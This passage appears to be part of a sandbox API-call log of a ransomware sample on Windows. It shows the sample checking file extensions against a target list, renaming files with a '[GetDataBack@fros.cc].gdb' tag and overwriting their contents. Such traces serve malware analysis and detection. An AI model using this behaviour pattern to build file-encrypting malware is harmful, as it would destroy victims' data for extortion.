Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.485] lstrlenW (lpString=".doc") returned 4 [0133.485] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.485] lstrlenW (lpString=".docx") returned 5 [0133.485] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.486] lstrlenW (lpString=".pdf") returned 4 [0133.486] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.486] lstrlenW (lpString=".xls") returned 4 [0133.486] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.486] lstrlenW (lpString=".xlsx") returned 5 [0133.486] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.486] lstrlenW (lpString=".ppt") returned 4 [0133.486] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.486] lstrlenW (lpString=".zip") returned 4 [0133.486] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.486] lstrlenW (lpString=".rar") returned 4 [0133.486] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.486] lstrlenW (lpString=".bz2") returned 4 [0133.486] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.486] lstrlenW (lpString=".7z") returned 3 [0133.486] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.486] lstrlenW (lpString=".dbf") returned 4 [0133.486] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.486] lstrlenW (lpString=".1cd") returned 4 [0133.486] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.486] lstrlenW (lpString=".jpg") returned 4 [0133.486] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.486] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0133.486] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0133.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0133.746] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=4096) returned 1 [0133.746] CloseHandle (hObject=0x20c) returned 1 [0133.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0133.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0133.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0133.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0133.746] lstrlenW (lpString=".doc") returned 4 [0133.746] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.746] lstrlenW (lpString=".docx") returned 5 [0133.746] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.746] lstrlenW (lpString=".pdf") returned 4 [0133.746] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.746] lstrlenW (lpString=".xls") returned 4 [0133.746] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.746] lstrlenW (lpString=".xlsx") returned 5 [0133.746] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.746] lstrlenW (lpString=".ppt") returned 4 [0133.746] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0133.746] lstrlenW (lpString=".zip") returned 4 [0133.747] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.747] lstrlenW (lpString=".rar") returned 4 [0133.747] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.747] lstrlenW (lpString=".bz2") returned 4 [0133.747] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.747] lstrlenW (lpString=".7z") returned 3 [0133.747] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0133.747] lstrlenW (lpString=".dbf") returned 4 [0133.747] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.552] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.552] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0135.552] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.552] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.553] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0135.553] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.553] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.553] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.553] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.553] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.553] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.553] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.553] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.553] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.553] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0135.553] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.553] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.553] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0135.554] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.554] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.554] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.554] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.554] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.554] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.554] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.554] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.554] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0137.666] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0137.666] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0137.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0137.667] GetLastError () returned 0x0 [0137.667] ReadFile (hFile=0x1f8, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0) Thread: id = 27 os_tid = 0xb88 [0115.267] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0115.267] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0115.267] Wow64DisableWow64FsRedirection (in: OldValue=0x2e4fad0 | out: OldValue=0x2e4fad0*=0x0) returned 1 [0115.267] lstrlenW (lpString="kernel32.dll") returned 12 [0115.267] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0115.267] Sleep (dwMilliseconds=0x64) [0115.517] lstrcmpiW (lpString1=".LOG2", lpString2=".gdb") returned 1 [0115.517] lstrlenW (lpString="BCD.LOG2") returned 8 [0115.517] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.518] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=0) returned 1 [0115.518] CloseHandle (hObject=0x1a8) returned 1 [0115.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.518] lstrlenW (lpString=".doc") returned 4 [0115.518] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString=".docx") returned 5 [0115.518] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0115.518] lstrlenW (lpString=".pdf") returned 4 [0115.518] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString=".xls") returned 4 [0115.518] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString=".xlsx") returned 5 [0115.518] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0115.518] lstrlenW (lpString=".ppt") returned 4 [0115.518] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.518] lstrlenW (lpString=".zip") returned 4 [0115.518] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString=".rar") returned 4 [0115.518] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString=".bz2") returned 4 [0115.518] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString=".7z") returned 3 [0115.518] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0115.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.518] lstrlenW (lpString=".dbf") returned 4 [0115.518] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.518] lstrlenW (lpString=".1cd") returned 4 [0115.518] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0115.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.518] lstrlenW (lpString=".jpg") returned 4 [0115.518] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.589] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.589] lstrlenW (lpString=".doc") returned 4 [0115.589] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString=".docx") returned 5 [0115.589] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0115.589] lstrlenW (lpString=".pdf") returned 4 [0115.589] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString=".xls") returned 4 [0115.589] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString=".xlsx") returned 5 [0115.589] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0115.589] lstrlenW (lpString=".ppt") returned 4 [0115.589] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.589] lstrlenW (lpString=".zip") returned 4 [0115.589] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString=".rar") returned 4 [0115.589] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString=".bz2") returned 4 [0115.589] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString=".7z") returned 3 [0115.589] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0115.589] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.589] lstrlenW (lpString=".dbf") returned 4 [0115.589] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.589] lstrlenW (lpString=".1cd") returned 4 [0115.589] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0115.589] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0115.590] lstrlenW (lpString=".jpg") returned 4 [0115.590] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0115.590] lstrcmpiW (lpString1=".ttf", lpString2=".gdb") returned 1 [0115.590] lstrlenW (lpString="kor_boot.ttf") returned 12 [0115.590] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.627] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=2371360) returned 1 [0115.627] CloseHandle (hObject=0x1a8) returned 1 [0115.627] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0115.627] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.627] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0115.627] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.627] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.627] lstrlenW (lpString=".doc") returned 4 [0115.627] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0115.627] lstrlenW (lpString=".docx") returned 5 [0115.627] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0115.627] lstrlenW (lpString=".pdf") returned 4 [0115.627] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0115.627] lstrlenW (lpString=".xls") returned 4 [0115.627] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0115.627] lstrlenW (lpString=".xlsx") returned 5 [0115.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0115.627] lstrlenW (lpString=".ppt") returned 4 [0115.627] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0115.627] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.627] lstrlenW (lpString=".zip") returned 4 [0115.627] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0115.627] lstrlenW (lpString=".rar") returned 4 [0115.627] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0115.627] lstrlenW (lpString=".bz2") returned 4 [0115.627] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0115.627] lstrlenW (lpString=".7z") returned 3 [0115.627] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0115.627] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.627] lstrlenW (lpString=".dbf") returned 4 [0115.628] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString=".1cd") returned 4 [0115.628] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString=".jpg") returned 4 [0115.628] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString=".doc") returned 4 [0115.628] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString=".docx") returned 5 [0115.628] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0115.628] lstrlenW (lpString=".pdf") returned 4 [0115.628] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString=".xls") returned 4 [0115.628] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0115.628] lstrlenW (lpString=".xlsx") returned 5 [0115.628] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0115.628] lstrlenW (lpString=".ppt") returned 4 [0115.628] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString=".zip") returned 4 [0115.628] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0115.628] lstrlenW (lpString=".rar") returned 4 [0115.628] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString=".bz2") returned 4 [0115.628] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString=".7z") returned 3 [0115.628] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString=".dbf") returned 4 [0115.628] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString=".1cd") returned 4 [0115.628] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0115.628] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0115.628] lstrlenW (lpString=".jpg") returned 4 [0115.628] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0115.628] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0115.629] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0115.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.629] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=2506240) returned 1 [0115.629] CloseHandle (hObject=0x1a8) returned 1 [0115.629] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0115.629] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.629] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0115.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.629] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0115.630] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0115.630] ReadFile (in: hFile=0x1a8, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0115.636] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0115.637] ReadFile (in: hFile=0x1a8, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0115.647] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.647] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0115.647] ReadFile (in: hFile=0x1a8, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0115.699] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0115.700] WriteFile (in: hFile=0x1a8, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0104, lpOverlapped=0x0) returned 1 [0115.868] SetEndOfFile (hFile=0x1a8) returned 1 [0115.868] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0115.868] WriteFile (in: hFile=0x1a8, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0115.869] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0115.869] WriteFile (in: hFile=0x1a8, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0115.875] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0115.875] WriteFile (in: hFile=0x1a8, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0115.878] CloseHandle (hObject=0x1a8) returned 1 [0116.966] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.966] lstrlenW (lpString=".doc") returned 4 [0116.966] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0116.966] lstrlenW (lpString=".docx") returned 5 [0116.966] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0116.966] lstrlenW (lpString=".pdf") returned 4 [0116.966] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0116.966] lstrlenW (lpString=".xls") returned 4 [0116.966] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0116.966] lstrlenW (lpString=".xlsx") returned 5 [0116.966] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0116.966] lstrlenW (lpString=".ppt") returned 4 [0116.966] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0116.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.966] lstrlenW (lpString=".zip") returned 4 [0116.966] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0116.966] lstrlenW (lpString=".rar") returned 4 [0116.966] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0116.966] lstrlenW (lpString=".bz2") returned 4 [0116.966] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0116.966] lstrlenW (lpString=".7z") returned 3 [0116.966] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0116.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.966] lstrlenW (lpString=".dbf") returned 4 [0116.966] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All 